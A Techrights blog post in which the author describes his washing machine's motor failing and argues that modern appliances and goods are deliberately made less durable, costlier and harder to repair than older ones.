⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠂⠒⠒⠒⠂ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⣤⣴⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣶⣤⣄⣠⣀⣀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣤⣄⡀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⣀⣤⠴⠶⢚⣛⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⢀⣤⣤⣤⣤⣤⣴⣮⣥⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣽⣿⡿⢿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣟⣿⣿⣟⣛⣿⣻⣿⣿⣿⣿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣷⣮⣽⣛⠿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⡀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣮⣝ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣿⣿⣿⣿⣿⠻⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⣿⣿⣿⣿⠀⠀⠈⠙⠻⢿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠉⠛ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⢿⡉⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠉⣹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⠛⠉⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠁⠀⠀⠀⠀⠀⠀⢀⣼⡿⠃⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠿⢟⡛⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⢀⠀⠀⢀⣴⠟⠉⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠛⣧⣿⣿⣿⣷⠀⠀⠀⠀⠀⣼⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⣴⡆⠁⣠⡾⠃⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡜⠿⠟⠉⠙⠻⠇⠀⠀⠉⣿⣿⣿⡿⠀⠀⠀⠀⠀⠈⣻⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⡟⣡⣾⣿⣶⣦⣤⣠⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏⠓⠒⠒⠀⠀⠀⠀⠀⠀⠒⠒⠒⠂⠀⠀⠀⠀⠀⠀⠒⠐⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣤⡾⢋⣴⣟⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠋⠀⠀⢀⣦⠤⣤⡀⠀⠀⠀⠀⠀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣴⠿⢋⣄⣼⢯⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⢸⣎⠭⡫⡇⠀⠀⠀⠀⠀⣯⢿⣯⣿⠀⠀⠀⠀⠀⠀⠈⠅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣀⡤⢟⣫⣵⣾⣿⣿⣏⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠟⠛⠛⠛⠀⠀⠀⠀⠘⠚⠿⠛⠃⠀⠀⠀⠀⠀⢻⡿⣿⠋⠀⠀⠀⠀⠀⠐⠻⠿⠓⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⢀⠀⠄⠐⣭⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠋⠉⠀⠈⠉⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠀⠀⠀⠀⠀⠀⠉⠀⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠈⣁⣠⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣶⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⡆⠀⢰⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣸⠹⣻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣫⣂⣿⡇⠀⢸⣿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠿⠛⠟⠛⠛⠛⠛⠁⠀⠈⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠛⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ䷩ 𝚕𝚒𝚗𝚎 4074 ╒═══════════════════ 𝐀𝐑𝐓𝐈𝐂𝐋𝐄 ═════════════════════════════════════════════════╕ (ℹ) Images, hyperlinks and comments at https://techrights.org/n/2026/05/12/Technology_Not_Meant_to_Last.shtml Gemini version at gemini://gemini.techrights.org/n/2026/05/12/Technology_Not_Meant_to_Last.gmi ⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Technology Not Meant to Last⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026 🄸🄼🄰🄶🄴_🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽_⦇Repair⦈_ Recent: Newer_is_Not_Better,_Lunar_Edition Sometimes things go wrong and force you to research online and offline (over the telephone for example). You then have a new story to tell, relevant to the time of the research because the current reality changes over time. Things seem to deteriorate not because of outsourcing to sweatshops (less pay, longer working hours and no breaks); the corporate greed relies on people's lust for "cheap things" or people's inability_to_purchase_anything_other_than the_cheapest_things_on_offer (because wages stagnated while living costs soared). It is a vicious cycle. Demand and supply adapt to artificial limitations in an age of rapid passage of wealth (purchasing power) from the bottom to the top, class-wise. This isn't inevitable; it's a choice over which the ordinary 'peasantry' have neither control nor say. Some people get a lot richer this way (selling the same things over and over again) and we know at whose expense (other than the planet itself). Buying "big brands" (glorified trademarks) isn't a solution anymore; sometimes those brand outsource their production to another company (cheaper rates) and then slap their logo on that. It increases profit margins in the short term (not long term; the reputation suffers). That's true in the area of media appliances, home appliances, motor vehicles, and even in the personal computers sector. The idea that the more you pay, the higher reliability rates (or likelihood of persistent integrity) is assured... is well outdated. Yesterday afternoon the motor of our washing machine (purchased 2020, during lock-downs, which means I needed to install the entire thing all on my own) stopped working. Oh noes. I did look up some videos in Invidious, studying how complicated a DYI repair would be (motor is a large part and high voltage levels are involved). It turns out that the price of such a washing machine has risen since then; maybe by 30-50%. Worse yet, a comparable machine is now slower/weaker (slowing rotation, reduced from 1400 RPM max down to 1200 max), there is no LCD display anymore, and total capacity is down from 8KG to 7KG. Prices up, specs down. That sounds familiar. We_see_this_in_computer_hardware too. In groceries, the packages get smaller (or remain of the same size with more vacant space or air) and ingredients get cheaper, i.e. worse (or in the case of washing detergents or ingestible liquids, there's dilution, so you get the same size/volume but with more water inside). Sometimes the prices go up and quantity goes down (or worsened) at_the_same_time. You have to purchase more of the same (spend more money) to attain the same effect/result. This is very easy a trend to spot, e.g. in toothpastes (the "standard" tubes used to be a lot bigger when I was a kid; the plastic-to-substance ratio is certainly not decreasing, which means we make more packaging material and produce more trash). What next, toothpaste sachets? Lethal to the environment. Likewise, everything that used to be made of metal is turning into plasticware (except some parts where the metallic parts are absolutely essential, e.g. for electric conduction). So in mechanical appliances, expect the machines to become more fragile, more expensive, and lacking functionalities (harder to repair too). Based on some online research, for the motor to stop functioning after 6 (or 5 or 7, depending on brand) years is quite typical. Andy recently_wrote_about_how_he repaired_(with_a_spare_part)_their_"tumble_dryer,_an_Indeset_IDC85." In that one particular case, it wasn't the motor but a part that broke (connected to the heating unit). I had similar experiences with electric showers; they don't offer repairs (they say they no longer produce the pertinent parts) and instead offer to sell and install (the latter is an extra charge) a new one every number of years. How frustrating. How useless a service. I've found one very useful page (but self-promotional) explaining_this phenomenon: "In the past, washing machines were built to last. They were robust and able to stand up to the demands of families with 2-4 children. Additionally, repair costs were cheaper because manufacturers would offer good prices on spare parts and they would offer extensive technical information to repairers." I still remember how, as a child, appliances like microwaves and washing machines could be expected to last about 20 years with occasional repair work. Less waste, more maintenance, and overall lower costs (over the lifetime of usage). Something went wrong along the way; if my mother can still use the same microwave oven that we had when I was 7 and if some people still have TV sets from the 90s (or 80s, sometimes 70s), then we're not improving, are we? At this very moment I listen to a CD from the 1990s, played on a stereo system my father bought me when I was 14. It still works. My alarm clock is also from the 1990s. My wife's digital diary is from the 1990s (gift from my grandmother). Has engineering gotten deliberately worse? Sort of. They've just quit caring about durability. It was a conscious decision. About washing machines, one friend told me: "They are engineered to last as close to exactly 4 years as possible -- without even a single reparable component." In our case, I managed to find a hidden ("retention") option for repair and later this week we'll see if that puts the machine back in operation. But really, why are things like these built to last only a few years? According to the link above, nowadays it is typical for washing machines to break down after just 18 months of persistent use (warranties typically last 12 months and extended warranties are a giant ripoff - a fact that became widely known and broadly advertised over time - they're just upselling). People ought to speak about it a lot more and demand better quality from producers; heck, in the interest of or for the sake of environmental preservation and avoidance of waste, maybe our government should mandate that all such home appliances must demonstrate an average_lifetime_of_over_10_years, or assurance of spare parts being available for at least a decade since last purchase. At the end of last year I wrote about my new CD player (plus tuner) that lasted not even a year. Argos never issued a replacement for it. Contacting_the vendor/seller_proved_to_be_a_waste_of_time. In hindsight, buying old things might be a wise thing because they're more durable. These days I use a Discman well over 2 decades in age; it works perfectly well. It uses standard components (no USB ports or other "modern" things), takes standard batteries that I can recharge with an ordinary charger made in the early 90s (my grandfather used it until his death), and CDs from the previous century play just fine (the format is simple and resistant to mild anomalies on the surface of the disc). A society apathetic towards declining production (or manufacturing) standards will end up ripped off. █ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇The Rip-Off Britain logo, placed on the unique color gradient blue background, synonymous with the show.⦈ * statCounter_Cannot_'See'_Chinese_Operating_Systems_That_Gain_Many Millions_of_Users_Per_Month * The_Corrupt_Lecture_the_Non-Corrupt_-_Part_XX_-_EPO_Management's_Unified_ (One)_Voice_or_Policy_is,_Doing_Cocaine_is_OK_When_You're_a_Friend_and/or Family_of_President_Campinos ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠛⠛⢛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠉⠻⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠋⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠈⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⣤⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣄⠀⠀⠀⠀⠀⢹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣀⡀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠈⠙⠛⠿⢿⡿⠋⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ 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⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣰⣶⣶⣼⣿⣿⠰⠆⠶⠶⠶⠆⠶⣿⣿⡷⠰⠆⠀⠀⢸⣿⣿⠀⣿⣿⣧⣤⣤⣤⣤⡄⠀⣿⣿⣧⣤⣤⣤⣤⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⠿⠿⢿⡟⣛⢸⣿⣿⣿⣿⣿⣛⣿⣿⣟⢘⣛⣛⠀⣸⣿⣿⠀⣿⣿⡟⠛⠛⠛⠛⠃⠀⣿⣿⡟⠛⠛⠛⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣤⣤⠀⠈⠁⠉⢨⡍⣭⣭⣭⡭⣭⢹⣿⣿⣬⣭⣭⣠⣿⣿⡏⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠶⠶⠀⠀⠀⠀⠰⠖⠶⠶⠶⠖⠶⠰⠟⠿⢿⣿⣿⣿⠿⠛⠀⠀⢿⣿⡇⠀⠀⠀⠀⠀⠀⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣻⣛⣟⣛⣀⡀⠀⠘⠋⠛⠛⢛⣏⣛⢘⡃⣛⢘⣋⣟⣻⣁⡀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣽⢬⣿⡆⠸⠿⣿⠿⢿⣿⣿⢿⡿⣿⢸⡥⣿⣿⢿⣧⣭⢠⡄⠀⣿⡇⠀⢸⣿⣧⡀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠾⠾⣿⡾⠂⣿⡇⠸⠆⠀⠀⢸⣿⠾⠰⡆⡷⢸⢾⣿⢺⠺⣿⣾⠰⠆⡀⣿⡇⠀⢸⣿⠙⣷⡄⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⢠⣿⠃⠀⣿⡇⠀⠀⠀⠀⢸⣿⠀⢘⡇⣟⢸⣿⣏⣹⣙⣿⣿⢠⡄⠛⣿⡇⠀⢸⣿⠀⠈⢿⣆⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡶⠿⠋⠀⠀⣿⡇⠀⠀⠀⠀⢸⣿⠀⢸⡇⣯⣸⣿⣧⣼⣬⣧⣿⣾⡇⣦⣿⡇⠀⢸⣿⠀⠀⠀⠻⣧⡀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⢿⣆⠀⠀⠀⣿⡇⠀⠐⡗⢺⢺⣿⣾⢸⡇⣿⣿⠟⡟⢻⠛⡏⣿⣿⡇⣷⣿⡇⡀⢸⣿⡀⠀⠀⠀⠙⣷⡄⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠈⢻⣧⠀⠀⣿⡇⢠⣌⣏⣹⣹⣿⣽⢸⡇⣿⣿⣉⣏⣹⣉⡇⣿⢿⡇⣯⣿⣏⣏⣹⣿⡇⣤⠀⠀⠀⠈⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠉⠀⠀⠉⠀⠈⠀⠁⢼⠬⡧⢾⠸⡇⡿⢸⠦⡧⢼⠴⡇⢾⢸⠇⡷⢼⠥⡧⢼⠽⡇⢿⠀⠀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⢺⠒⡗⣻⢘⡃⣟⢸⡓⡗⢺⢚⡇⣻⢘⡃⣟⢺⠒⡗⢺⢚⡇⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⣤⢠⡌⣯⣹⣩⣏⣽⢨⡅⣭⢸⣍⣏⣹⣩⡇⣭⢨⡅⣭⢹⣍⣏⠙⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠰⠆⠷⠼⠴⠇⠶⠰⠆⠶⠰⠦⠧⠼⠴⠆⠶⠰⠆⠶⠸⠦⠧⠶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠚⠚⠃⠛⢀⡀⣛⢘⡓⣛⢚⢚⡃⣛⢘⡃⣛⢘⡓⡓⣛⢘⡃⣛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣠⡄⣤⢨⡅⣭⢨⣍⣭⣭⣩⡅⣭⢨⡅⣭⢨⣍⣍⣭⠈⠁⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠶⠴⠴⠆⠶⠰⠆⠶⠰⠆⠶⠶⠰⠆⠶⠰⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡀⣛⢚⣛⡃⣛⠀⠀⠀⠘⠃⠛⠀⠘⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⢠⡄⣤⢨⡅⠉⠈⢩⡅⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠶⠀⠀⠶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 